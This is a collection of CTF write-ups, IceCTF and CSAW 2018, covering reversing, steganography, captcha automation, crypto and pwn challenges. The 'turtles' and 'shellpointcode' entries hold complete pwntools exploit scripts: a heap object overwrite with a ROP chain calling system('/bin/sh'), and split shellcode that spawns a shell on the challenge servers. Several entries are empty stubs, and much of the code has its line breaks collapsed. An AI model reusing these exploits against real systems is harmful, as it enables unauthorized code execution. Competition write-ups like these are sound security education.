Can you poke 151 mangos?
NOTE Make sure that you allow the app access to your GPS location and camera otherwise the app will not work. You can do that in App Permissions in Settings.
[apk](writeupfiles/pokemango.apk)
**Solution**
installing the app gives a map and a shop menu where it appears you need to find 151 mangoes to get the flag

We decompile the app:
```apktool decode pokemango.apk```
**Flag**```
```
## Reverse Engineering 400: Passworded!
**Challenge**
Alice loves to cause mayhem, and recently she sent this message to Bob! Bob is nothing but confused, leading to him asking for your help. Don't let the world descend into chaos!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the string the program accepts.
[password.txt](writeupfiles/password.txt)
**Solution**
```(((())|}|}|}|(][)||(}[}||(){[)|(<}|||}|(){[)|(<}(())))|}|{(((}[)||<{(}[)|<(}<(}>|>|||||}||<{(}[)|<>(}>||||}|||}(())))|})|<((}[)||<{(}[)|<(}[))))|>|>|||}||<{(}[)|<>(}>||||}||())|{(}[)|<(}[((((())|}|}|}|}|}(((())|}|}|}|}))))||(}<())[)||||{((}>|[)|<<({<(}[)|||>(}|>|}><}||||||}((((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}(((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((())|}|}|}|}|}|}|}|}|}|}|}(((((((((())|}|}|}|}|}|}|}|}|}|}((((((((())|}|}|}|}|}|}|}|}|}(((((((())|}|}|}|}|}|}|}|}((((((())|}|}|}|}|}|}|}|(}[}||(){[)|(<}|||}|(){[)|(<}(((((())|}|}|}|}|}[()))|}))||(}(>||>([)|)[)|{)<<((}||{(}[)||>|}|||}><}}||(){[)|(<}((}|()||{(}[)|<([}|)||||}(){[)|(<}|||}|((}(}||[(}[}||||(((((())|}|}|}|}|}[(())|}|}))))||(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||(){[)|(<}(()))|})|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|(}[}||(){[)|(<}|||}|(){[)|(<}(())|}|({)(}[)|||}))|({)(}[)|||}|(}[}||(){[)|(<}|||}|(){[)|(<}((((}||||(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|([}|}|(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||()|(}[}||(){[)|(<}|||}|((}(}||[(}[}||||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|()|(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||((}||((}((}(}||[(}[}|||||[(}[}||||(}[}||(()))))|}|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|({<}|}((<)||||<}}||(){[)|(<}())|())[)[))||[)||(}>|({<(}[)|||>(}|>|}><}||(())|})|()))))|(}>|({<(}[)|||>(}|>|}><}||(}>|({<(}[)|||>(}|>|}><}||(}[}||(){[)|(<}|||}|(){[)|(<}((())|}|}|({(}|(}|(}[)|||}|(()))))|}|([}|}|(}[}||(){[)|(<}|||}|(){[)|(<}()>|>|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}(>{<}|}((<)||||<}}|>||||}|{}((<(]|{(}[)|<}|||}||||}```
**Flag**```flag```
## Misc 10: Hello World!
**Challenge**
Welcome to the competition! To get you started we decided to give you your first flag. The flags all start with the "IceCTF" and have some secret message contained with in curly braces "{" and "}".
Within this platform, the challenges will be shown inside a frame to the right. For example purposes the download interface is shown on the right now. For static challenges you will need to click the large button in order to receive your challenge. For non static challenges, the lab itself will be shown on the right.
To submit the flag you can click the blue flag button in the bottom right hand corner.
Your flag is `IceCTF{this_is_a_flag}`
**Solution**
`CTRL+C, CTRL+V`
**Flag**
```IceCTF{this_is_a_flag}```
## Misc 250: anticaptcha
**Challenge**
Wow, this is a big captcha. Who has enough time to solve this? Seems like a lot of effort to me!
https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/

**Solution**
looks like we will have to answer these questions to get the flag. We automate this:
```python
from bs4 import BeautifulSoupimport requestsfrom fractions import gcd as _gcdimport mathimport reimport sysfrom itertools import count, islicefrom math import sqrt
URL = "https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/"
def isprime(n): n = int(n) return n > 1 and all(n%i for i in islice(count(2), int(sqrt(n)-1)))
def gcd(a, b): return _gcd(int(a), int(b))
def nthword(a, b): return b.replace('.',' ').replace(' ',' ').split(' ')[int(a)]
asdf = { 'What is the greatest common divisor of (?P[0-9]+) and (?P[0-9]+)?': gcd, 'Is (?P[0-9]+) a prime number?': isprime, 'What is the (?P[0-9]+).. word in the following line:(?P.*)': nthword, 'What is the tallest mountain on Earth?': lambda: "Mount Everest", 'What is the capital of Hawaii?': lambda: "Honolulu", 'What color is the sky?': lambda: "blue", 'What year is it?': lambda: "2018", 'Who directed the movie Jaws?': lambda: "Steven Spielberg", 'What is the capital of Germany?': lambda: "Berlin", 'Which planet is closest to the sun?': lambda: "Mercury", 'How many strings does a violin have?': lambda: "4", 'How many planets are between Earth and the Sun?': lambda: "2",}
data = requests.get(URL)
answers = []
html_doc = data.textsoup = BeautifulSoup(html_doc, 'html.parser')for idx, td in enumerate(soup.find_all('td')): if idx % 2 == 1: continue
text = td.text.replace('\n', '')
matched = False for (m, func) in asdf.items(): match = re.match(m, text) if match: matched = True answers.append(str(func(*match.groups())))
if not matched: print("> %s <" % text)
r = requests.post(URL, headers={'Content-type': 'application/x-www-form-urlencoded'}, data={'answer': answers})print(r.text[:1000])```
when we get it right, the page responds with our flag
**Flag**```IceCTF{ahh_we_have_been_captchured}```
## Misc 200: ilovebees
**Challenge**
I stumbled on to this strange website. It seems like a website made by a flower enthusiast, but it appears to have been taken over by someone... or something.
Can you figure out what it's trying to tell us?
https://static.icec.tf/iloveflowers/
**Solution**
website:

The website seems to be a reference to Halo (https://en.wikipedia.org/wiki/I_Love_Bees)
We download the [entire website](writeupfiles/static.icec.tf/iloveflowers/)
```wget -m https://static.icec.tf/iloveflowers/```
After much searching, the flag turns out to be the favicon gif file:

We see nothing with `strings` or `binwalk` or in the exifdata, but after we extract all the frames to png images
```convert -coalesce favicon.gif out%03d.png```
and run examine the exifdata
```bash$ exiftool out*.png======== out-0.pngExifTool Version Number : 10.60File Name : out-0.pngDirectory : .File Size : 746 bytesFile Modification Date/Time : 2018:09:16 18:45:41+02:00File Access Date/Time : 2018:09:16 18:45:56+02:00File Inode Change Date/Time : 2018:09:16 18:45:41+02:00File Permissions : rw-rw-r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 16Image Height : 16Bit Depth : 8Color Type : PaletteCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedGamma : 2.2White Point X : 0.3127White Point Y : 0.329Red X : 0.64Red Y : 0.33Green X : 0.3Green Y : 0.6Blue X : 0.15Blue Y : 0.06Palette : (Binary data 285 bytes, use -b option to extract)Background Color : 59Modify Date : 2018:09:06 15:20:54Datecreate : 2018-09-16T18:41:49+02:00Datemodify : 2018-09-06T15:20:54+02:00Image Size : 16x16Megapixels : 0.000256======== out-100.pngExifTool Version Number : 10.60File Name : out-100.png
[..]
```
we see that they each have binary metadata embedded that we can extract using the -b option:
```bash$ exiftool -b out*.png > outbinary```
this file doesnt look like much, we could probably clean it up, but a `strings` already gives us the flag:
```bash$ strings outbinary | grep IceIceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}```
**Flag**```IceCTF{MY_FAVORITE_ICON}```
## Misc 300: Secret Recipe
**Challenge**
I found this secret recipe when I was digging around in my Icelandic grandmother's attic. I have a feeling that she might have been a part of some secret organization. Can you see if there are any other secrets hidden in the recipe?

**Solution**
Transcription:
> Leyniuppskrift:>> Byrjaรฐu รก aรฐ brjรณta 5 egg og setja svo 3 matskeiรฐar af skyri รญ skรกl. Hrรฆriรฐ> svo 9 desilรญtra af hveiti รบt รญ รกsamt 3 desilรญtrum af mjรณlk. Svo skal setja 7> teskeiรฐar af lyftidufti og 2 teskeiรฐar af vanilludropum รกรฐur enn รพaรฐ eru sett> 9 grรถmm af smjรถri รญ skรกlina.>> Hrรฆriรฐ รพessu rรฆkilega saman og setjiรฐ svo รบt รก pรถnnu.>> Alveg eins og amma gerรฐi รพรฐa
Translation:
> Secret Recipe>> Start breaking 5 eggs and then put 3 tablespoons of sprouts into a bowl. Stir> 9 decilitres of flour together with 3 deciliters of milk. Then put 7> teaspoons of baking soda and 2 teaspoons of vanilla pods before putting 9> grams of butter in the bowl.>> Stir this thoroughly and then place it on a pan.>> Just like a grandmother made a pillow
**Flag**```flag```
|
* **Category:** pwn* **Points:** 250* **Description:**
> Looks like you found a bunch of turtles but their shells are nowhere to be> seen! Think you can make a shell for them?>> ```sh> nc pwn.chal.csaw.io 9003> ```>> [turtles](https://ctf.csaw.io/files/b3adfcc8a5cd4a1bf9a413c6f46fb212/turtles)> [libs.zip](https://ctf.csaw.io/files/f8d7ea4fde01101de29de49d91434a5a/libs.zip)
## Writeup
We get an x86\_64 linux binary, and reading the main function immediately showus this is an Objective-C program (`objc_get_class` and `objc_msg_lookup`).
For those unfamiliar with Objective-C, it is mostly like C, but there is amechanism for Object-Oriented-Programming where methods on objects are calledusing the functions `objc_msg_send` and `objc_msg_lookup` (in the ABI, thesyntax for it looks like `[instance method: parameter]`).
A "message" is just a method call. Methods are identified by a "selector", whichis just the method name. At runtime these selectors are replaced with a 64-bitvalue consisting of two relatively low 32-bit integers concatenated together.
The problem with `objc_msg_send` and selectors is that it is quite hard to findcross-references when analyzing a binary. In this case the classes are quitesimple, so this is not a problem.
Reading the program code shows the code must have been something like this:
```objc#include <stdio.h>#include <unistd.h>#include <string.h>#include <Foundation/NSObject.h>#include <Foundation/NSString.h>
@interface Turtle: NSObject- (void) say: (NSString *) phrase;@end
@implementation Turtle: NSObject- (void) say: (NSString *) phrase{ NSLog(@"%@\n", phrase);}@end
int main(int argc, char ** argv) { char buf[0x810];
setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);
Turtle * turtle = [[Turtle alloc] init]; printf("Here is a Turtle: %p\n", turtle);
read(STDIN_FILENO, buf, sizeof buf); memcpy(turtle, buf, 200);
[turtle say: @"I am a turtle."]; [turtle release];
return 0;}```
## The Vulnerability
The programm allocates a Turtle object on the heap, and then prints its address.
Afterwards, it allows us to write 200 arbitrary bytes into the heap location ofthe Turtle object. As all method calls in Objective-C are dynamic, this allowssomething similar to a C++ vtable exploit. For this to work we need to know howan Objective-C class is structured.
For this, we just observed which pointers and offsets the `objc_msg_lookup`function from `gnustep-base.so` dereferences, and where the function pointercomes from.
The attack will consist of redirecting all pointers in the structure into theheap area we control and know the address of, leading the program into returningan arbitrary function pointer.
## `objc_msg_lookup` Analysis
This function takes two parameters: the instance and the selector.
At offset 0x00 in our instance, a pointer to the class object is stored.At offset 0x40 in the class object, a pointer to a structure containing amulti-layered table of function pointers is stored. Let's call this structure(at offset 0x40) the "implementation table struct".
For indexing into that table, the two 32-bit parts of the runtime selector valueare used.
But first, some kind of length check is performed. The low selector value plusthe high selector value shifted left by five are added together and compared tothe value in the "implementation table struct" at offset 0x28. If the value isbigger than the one in the struct, the lookup function does something else thatdoes not usually happen, we assumed it fails.
The actual table is located at offset 0x00 in the "implementation table struct".It is indexed using first the low selector value, and then the high selectorvalue. The result is a function pointer that is returned.
Pseudocode:
```objc_msg_lookup(instance* inst, uint64* sel): uint64 selv = *sel class * cls = inst->class # offset 0x00
imp_tbl_struct * its = cls->its # offset 0x40 uint32 sel_low = selv & 0xffffffff uint32 sel_high = selv >> 32
if (sel_low + (sel_high << 5)) >= its->length: # offset 0x28 # ... irrelevant code else: return its->table[sel_low][sel_high] # offset 0x00```
## The Attack
For our attack payload, we put a pointer to our fabricated class struct furtherin the payload at offset 0x00, and then left a bit of space for a ROP chain anddata.
After that, we added another pointer, which through our crafted class pointerlies exactly at offset 0x40, meaning it is the pointer to the implementationtable struct.
We offset the implementation table struct in such a way, that it points directlyafter the pointer to it, so that in the payload, all the pointers lie next toeach other.
Since the observed selector value in the `gnustep-base` library from `libs.zip`was 0x0000001500000064, assuming the values are the same on the remote server,we can adjust the first table-level to point just after the previous pointer inthe payload, and similar for the second table level.
This leaves us with this payload:
```pymethod = 0x4141414141414141base_vtable = 0x90base_data = 0x80
payload = ( p64(turtle + base_vtable + 0x00 - 0x040) + # class
rop.chain().ljust(base_data - 8, b"\0") + data.ljust(base_vtable - base_data, b"\0") +
p64(turtle + base_vtable + 0x08 - 0x000) + # imp_table_struct p64(turtle + base_vtable + 0x10 - 0x64 * 8) + # tbl_level1 p64(turtle + base_vtable + 0x18 - 0x15 * 8) + # tbl_level2 p64(method))```
## Getting a shell
Using the payload we constructed above, we can an adjust-gadget that pops a fewthings off the stack, in order to land inside our stack buffer.
We found a gadget that pops into irrelevant registers 4 times, landing exactlyafter our crafted class pointer in the stack buffer.
From that point, we have ROP, and can ROP to `printf` in order to leak a GOTentry and recover the libc base address. After that, we ROP back to main inorder to send a second ROP-chain and jump to libc's `system`
Stage 1 ROP-chain:
```pydata = b"%sEND"
rop.raw(rop_rdi)rop.raw(turtle + base_data)
rop.raw(rop_rsi_r15)rop.raw(setvbuf_got)rop.raw(0)
rop.raw(printf_plt)rop.raw(main_addr)```
Using that knowledge, we can now calculate the address of `system` in the libcand get a shell:
Stage 2 ROP-chain:
```pydata = b"/bin/sh" rop.raw(rop_rdi)rop.raw(turtle + base_data)rop.raw(libc.symbols[b"system"])```
With that, we can execute `cat flag` and get the flag:
```flag{i_like_turtl3$_do_u?}```
## The Script
This is the python script used to solve the challenge, after being cleaned up abit:
```pyfrom pwn import *
context.arch = "amd64"
r = remote("pwn.chal.csaw.io", 9003)
libc = ELF("libs-nopreload/libc.so.6")
r.readuntil(b": ")turtle = int(r.readline(), 16)print("turtle address: 0x{:016x}".format(turtle))
main_addr = 0x400B84class_turtle = 0x6014c0
rop_adjust4 = 0x00400d3crop_rdi = 0x00400d43rop_rsi_r15 = 0x00400d41
method = rop_adjust4
base_vtable = 0x90base_data = 0x80rop_chain = b"CCCCCCCC"
printf_plt = 0x4009D0setvbuf_got = 0x601288
rop = ROP([ELF("./turtles")])
rop.raw(rop_rdi)rop.raw(turtle + base_data)
rop.raw(rop_rsi_r15)rop.raw(setvbuf_got)rop.raw(0)
rop.raw(printf_plt)rop.raw(main_addr)
data = b"%sEND"
payload = ( p64(turtle + base_vtable + 0x00 - 0x040) + # class
rop.chain().ljust(base_data - 8, b"\0") + data.ljust(base_vtable - base_data, b"\0") +
p64(turtle + base_vtable + 0x08 - 0x000) + # imp_table_struct p64(turtle + base_vtable + 0x10 - 0x64 * 8) + # tbl_level1 p64(turtle + base_vtable + 0x18 - 0x15 * 8) + # tbl_level2 p64(method))
r.send(payload.ljust(200, b'A'))
setvbuf_addr = u64(r.readuntil(b"END")[:-3].ljust(8, b"\0"))print("setvbuf address: 0x{:016x}".format(setvbuf_addr))
libc.address = setvbuf_addr - libc.symbols[b"setvbuf"]print("system address: 0x{:016x}".format(libc.symbols[b"system"]))
data = b"/bin/sh"
r.readuntil(b": ")turtle = int(r.readline(), 16)print("turtle address: 0x{:016x}".format(turtle))
method = rop_adjust4rop = ROP([ELF("./turtles")])
rop.raw(rop_rdi)rop.raw(turtle + base_data)rop.raw(libc.symbols[b"system"])rop.raw(0x4343434343434343)
payload = ( p64(turtle + base_vtable + 0x00 - 0x040) + # class
rop.chain().ljust(base_data - 8, b"\0") + data.ljust(base_vtable - base_data, b"\0") +
p64(turtle + base_vtable + 0x08 - 0x000) + # imp_table_struct p64(turtle + base_vtable + 0x10 - 0x64 * 8) + # tbl_level1 p64(turtle + base_vtable + 0x18 - 0x15 * 8) + # tbl_level2 p64(method))
r.send(payload.ljust(200, b'A'))
r.sendline(b"cat flag")print(r.readline().decode())``` |
* **Category:** reversing* **Points:** 50* **Description:**
> ## Part 1:>> Newbs only!>> ```sh> nc rev.chal.csaw.io 9003> ```>> -Elyk>> [stage-1.asm](https://ctf.csaw.io/files/02721fabb0c817ff88eecba00c8af128/stage-1.asm)> [Makefile](https://ctf.csaw.io/files/dc249873b66ed653d7db4572ce6ef07a/Makefile)> [stage-2.bin](https://ctf.csaw.io/files/5e0f7fb0d9229a7f878bc388e9fe1b4f/stage-2.bin)
## Writeup
This is a challenge in multiple stages, each one having its own flag.(Note: the original link contains all three stages)
The general theme is low-level x86 code and how it behaves after boot.The difficulty is quite low, but it was fun.
### Stage 1
In the first stage we have the assembly source code available, but it is heavilycommented. (This actually makes the code LESS readable at times)The code is running in 16-bit real-mode, with BIOS interrupts available.
When connecting to the provided address and port, we are asked a series ofquestions about the values of registers in different parts of the program.
#### What is the value of `dh` after line 129 executes? (one byte)
Line 129 is `xor dh, dh`, which always leaves `dh` as 0x00.
#### What is the value of `gs` after line 145 executes? (one byte)
Line 145 is `mov gs, dx`. `dx` is compared to 0 on line 134, so `gx` must alwaysbe 0x00.
#### What is the value of `si` after line 151 executes? (two bytes)
Line 151 is `mov si, sp`. `sp` is set on line 149 with `mov sp, cx`. `cx` is setto 0 on line 107, so `si` must always be 0x0000
#### What is the value of ax after line 169 executes? (two bytes)
Line 168 and 169 are `mov al, 't'` and `mov ah, 0x0e`. The hex-value of 't' is0x74, so the value is 0x0e74.
#### What is the value of ax after line 199 executes for the first time? (two bytes)
Lines 197 and 199 are `mov al, [si]` and `mov ah, 0x0e`, which are part of aloop.
`si` is initialized as a pointer to the string `"acOS\n\r by Elyk"`, sothe first iteration should leave `ax` with 0x0e61 (hex-value of 'a' is 0x61).
After answering all the questions, we get the flag:
```flag{rev_up_y0ur_3ng1nes_reeeeeeeeeeeeecruit5!}``` |
* **Category:** pwn* **Points:** 100* **Description:**
> Linked lists are great! They let you chain pieces of data together.> > ```sh> nc pwn.chal.csaw.io 9005> ```>> [shellpointcode](https://ctf.csaw.io/files/32cc91e380dac838a4f2978dfd963fb3/shellpointcode)
## Writeup
For this challenge, we got an x86\_64 linux binary (not stripped, NX isdisabled) that asks us for 15 bytes of input for each of two nodes of a linkedlist.
The linked list struct looks like this:
```cstruct linked_list { struct linked_list * next; char data[15];};```
Both node instances lie on the stack, and the "next" pointer of the first pointsto the second.
Afterwards, it prints out the first node, revealing the stack address of thesecond node.
Then, the "goodbye" function asks for our initials and reads data in a far toosmall stack buffer (buffer overflow).
## The Attack
We can redirect program execution to the heap buffer in the second node byoverwriting the return pointer in the "goodbye" function.
We cannot directly insert off-the-shelf shellcode into the buffers because theyare too small, so we chopped pwntools' `shellcraft.sh()` shellcode in half andadded a relative jump to redirect into the other node.
This gets us a shell allowing us to see the flag:
```flag{NONONODE_YOU_WRECKED_BRO}```
## The Script
This is the cleaned up script used to extract the flag:
```pyfrom pwn import *
context.arch = "amd64"
r = remote("pwn.chal.csaw.io", 9005)
node2 = asm(""" /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax""") + b"\xeb\x11"
node1 = asm(""" /* call execve('rsp', 0, 0) */ push (SYS_execve) /* 0x3b */ pop rax mov rdi, rsp xor esi, esi /* 0 */ cdq /* rdx=0 */ syscall""")
r.readuntil(b"1: ")print(">> node1")r.sendline(node1)r.readuntil(b"2: ")print(">> node2")r.sendline(node2)r.readline()
r.readline()r.readuntil(b": ")addr = int(r.readline()[:-1], 16)r.readline()print(">> addr", hex(addr))
r.readline()r.readline()print(">> rop")r.sendline(b"A"*11 + p64(addr+8))r.readline()
r.sendline(b"cat flag.txt")print(r.readline().decode())``` |
* **Category:** reversing* **Points:** 100* **Description:**
> ## Part 2:>> Open stage2 in a disassembler, and figure out how to jump to the rest of the> code!>> -Elyk>> [stage-1.asm](https://ctf.csaw.io/files/02721fabb0c817ff88eecba00c8af128/stage-1.asm)> [Makefile](https://ctf.csaw.io/files/dc249873b66ed653d7db4572ce6ef07a/Makefile)> [stage-2.bin](https://ctf.csaw.io/files/5e0f7fb0d9229a7f878bc388e9fe1b4f/stage-2.bin)
## Writeup
This is a challenge in multiple stages, each one having its own flag.(Note: the original link contains all three stages)
The general theme is low-level x86 code and how it behaves after boot.The difficulty is quite low, but it was fun.
### Stage 2
The Stage 2 binary is loaded by Stage 1 on line 230, using BIOS interrupt 0x13.
Near the end of the Stage 1 binary, the used DAP (disk address packet) isstored. The address to copy to is LOAD_ADDR, defined to be 0x6000 on line 52.
After executing all of the demonstration code in Stage 1, the code jumps toLOAD_ADDR on line 384.
Opening the stage 2 binary in radare can be done as follows:
```[yrlf@tuxic ctf/tour-of-x86]$ r2 -- -- Donโt feed the bugs! (except delicious stacktraces)![0x00000000]> o ./stage-2.bin 0x6000 rwx3[0x00000000]> e asm.arch = x86[0x00000000]> e asm.bits = 16[0000:0000]> s 0x6000[0000:6000]> pd 61 0000:6000 f4 hlt 0000:6001 e492 in al, 0x92 0000:6003 0c02 or al, 2 0000:6005 e692 out 0x92, al 0000:6007 31c0 xor ax, ax 0000:6009 8ed0 mov ss, ax 0000:600b bc0160 mov sp, 0x6001 0000:600e 8ed8 mov ds, ax 0000:6010 8ec0 mov es, ax 0000:6012 8ee0 mov fs, ax 0000:6014 8ee8 mov gs, ax 0000:6016 fc cld 0000:6017 66bf00000000 mov edi, 0 โโ< 0000:601d eb07 jmp 0x6026 โ 0000:601f 90 nop โ 0000:6020 0000 add byte [bx + si], al โ 0000:6022 0000 add byte [bx + si], al โ 0000:6024 0000 add byte [bx + si], al โโ> 0000:6026 57 push di 0000:6027 66b900100000 mov ecx, 0x1000 0000:602d 6631c0 xor eax, eax 0000:6030 fc cld 0000:6031 f366ab rep stosd dword es:[di], eax 0000:6034 5f pop di 0000:6035 26668d850010 lea eax, dword es:[di + 0x1000] 0000:603b 6683c803 or eax, 3 0000:603f 26668905 mov dword es:[di], eax 0000:6043 26668d850020 lea eax, dword es:[di + 0x2000] 0000:6049 6683c803 or eax, 3 0000:604d 266689850010 mov dword es:[di + 0x1000], eax ; [0x1000:4]=-1 0000:6053 26668d850030 lea eax, dword es:[di + 0x3000] 0000:6059 6683c803 or eax, 3 0000:605d 266689850020 mov dword es:[di + 0x2000], eax ; [0x2000:4]=-1 0000:6063 57 push di 0000:6064 8dbd0030 lea di, word [di + 0x3000] 0000:6068 66b803000000 mov eax, 3 โโ> 0000:606e 26668905 mov dword es:[di], eax โ 0000:6072 660500100000 add eax, 0x1000 โ 0000:6078 83c708 add di, 8 โ 0000:607b 663d00002000 cmp eax, 0x200000 โโ< 0000:6081 72eb jb 0x606e 0000:6083 5f pop di 0000:6084 b0ff mov al, 0xff ; 255 0000:6086 e6a1 out 0xa1, al 0000:6088 e621 out 0x21, al ; '!' 0000:608a 90 nop 0000:608b 90 nop 0000:608c 0f011e2060 lidt [0x6020] 0000:6091 66b8a0000000 mov eax, 0xa0 ; 160 0000:6097 0f22e0 mov cr4, eax 0000:609a 6689fa mov edx, edi 0000:609d 0f22da mov cr3, edx 0000:60a0 66b9800000c0 mov ecx, 0xc0000080 0000:60a6 0f32 rdmsr 0000:60a8 660d00010000 or eax, 0x100 0000:60ae 0f30 wrmsr 0000:60b0 0f20c3 mov ebx, cr0 0000:60b3 6681cb010000. or ebx, 0x80000001 0000:60ba 0f22c3 mov cr0, ebx 0000:60bd 0f0116e260 lgdt [0x60e2] โโ< 0000:60c2 ea58610800 ljmp 8:0x6158```
Interestingly, the code starts with a `hlt` instruction, stopping the rest ofthe code from being executed.
There are two ways to solve this:
- patch the `hlt` instruction into a `nop` (0x90)- jump to `LOAD_ADDR+1` in Stage 1
When running the binary now via `make run`, Stage 1 executes, and actuallyexecutes Stage 2. The flag can be seen on a blue background, but only for afraction of a second before QEMU reboots.
Analyzing the code in Stage 2, this seems to be very compact code to switchdirectly from 16-bit real-mode to 64-bit long-mode. Afterwards, the code jumpsto address 0x6158.
Disassembling that code can be easily done in radare2:
```[0000:6000]> s 0x6158[0000:6158]> e asm.bits = 64[0x00006158]> pd 37 0x00006158 66b81000 mov ax, 0x10 ; 16 0x0000615c 8ed8 mov ds, eax 0x0000615e 8ec0 mov es, eax 0x00006160 8ee0 mov fs, eax 0x00006162 8ee8 mov gs, eax 0x00006164 8ed0 mov ss, eax 0x00006166 bf00800b00 mov edi, 0xb8000 0x0000616b b9f4010000 mov ecx, 0x1f4 ; 500 0x00006170 48b8201f201f. movabs rax, 0x1f201f201f201f20 0x0000617a f348ab rep stosq qword [rdi], rax 0x0000617d bf00800b00 mov edi, 0xb8000 0x00006182 4831c0 xor rax, rax 0x00006185 4831db xor rbx, rbx 0x00006188 4831c9 xor rcx, rcx 0x0000618b 4831d2 xor rdx, rdx 0x0000618e b245 mov dl, 0x45 ; 'E' ; 69 0x00006190 80ca6c or dl, 0x6c ; 'l' 0x00006193 b679 mov dh, 0x79 ; 'y' ; 121 0x00006195 80ce6b or dh, 0x6b ; 'k' 0x00006198 20f2 and dl, dh 0x0000619a b600 mov dh, 0 0x0000619c 48bee8600000. movabs rsi, 0x60e8 โโ> 0x000061a6 48833c0600 cmp qword [rsi + rax], 0 โโโ< 0x000061ab 7427 je 0x61d4 โโ 0x000061ad b904000000 mov ecx, 4 โโโโ> 0x000061b2 8a1c06 mov bl, byte [rsi + rax] โโโ 0x000061b5 30d3 xor bl, dl โโโ 0x000061b7 d0eb shr bl, 1 โโโ 0x000061b9 881c06 mov byte [rsi + rax], bl โโโ 0x000061bc 4883c002 add rax, 2 โโโโ< 0x000061c0 e2f0 loop 0x61b2 โโ 0x000061c2 4883e808 sub rax, 8 โโ 0x000061c6 488b0c06 mov rcx, qword [rsi + rax] โโ 0x000061ca 48890c07 mov qword [rdi + rax], rcx โโ 0x000061ce 4883c008 add rax, 8 โโโ< 0x000061d2 ebd2 jmp 0x61a6 โโโ> 0x000061d4 ebd2 invalid```
This seems to decrypt and print the flag on the framebuffer at 0xb8000 beforerunning into an invalid instruction at address 0x61d4. Patching this with aninfinite loop (bytes eb fe) should leave the flag on-screen for longer.
Looking at the file-size of the Stage 2 binary, we just need to append the newbytes.
```[yrlf@tuxic ctf/tour-of-x86]$ echo -n $'\xeb\xfe' >> stage-2.bin```
This gives us the flag:

The other way of getting the flag is to manually decrypt the flag characterbuffer with the XOR key generated from the string 'Elyk' (the key is 0x69):
```pyimport binascii
enc = binascii.unhexlify("a5b1aba79f09b5a3d78fb3010b0bd7fdf3c9d7a5b78dd7991905d7b7b50fd7b3018f8f0b85a3d70ba3ab89d701d7db09c393")print("".join(chr((b ^ 0x69) >> 1) for b in enc))``` |
# Feistel (crypto, 300p)
In the task we get a [plaintext-ciphertext pair](pt-ct.txt) and [encrypted flag](flag.txt).
We also get a description of the encryption algorithm - it's a classic Feistel cipher, but the function F applied in the iterations is simply XOR with deterministic round key.
This means the round keys for the known PT-CT pair are the same as for the encrypted flag!
If we write down what are the possible outcomes from the encryption we can notice a pattern:
```C1 = PT1 ^ PT2 ^ K1C2 = C1 ^ P2 ^ K2 = (PT1 ^ PT2 ^ K1) ^ P2 ^ K2 = PT1 ^ K1 ^ K2C3 = C1 ^ C2 ^ K3 = (PT1 ^ PT2 ^ K1) ^ (PT1 ^ K1 ^ K2) ^ K3 = PT2 ^ K2 ^ K3C4 = C2 ^ C3 ^ K4 = (PT1 ^ K1 ^ K2) ^ (PT2 ^ K2 ^ K3) ^ K4 = PT1 ^ PT2 ^ K1 ^ K3 ^ K4C5 = C4 ^ C3 ^ K5 = ... = PT1 ^ K1 ^ K2 ^ K4 ^ K5```
It loops like this, so that in the resulting ciphertexts we have either `PT1 ^ KX` or `PT2 ^ KX` or `PT1 ^ PT2 ^ KX`, where `KX` is XOR of some round keys.
It's easy to notice that we can XOR given `C` with `PT1`, `PT1` or `PT1 ^ PT2` to recover the `KX`, and then XOR this again with flag ciphertexts, in order to decrypt them.
W do this with a simple script:
```pythonfrom crypto_commons.generic import long_to_bytes, chunk, is_printable
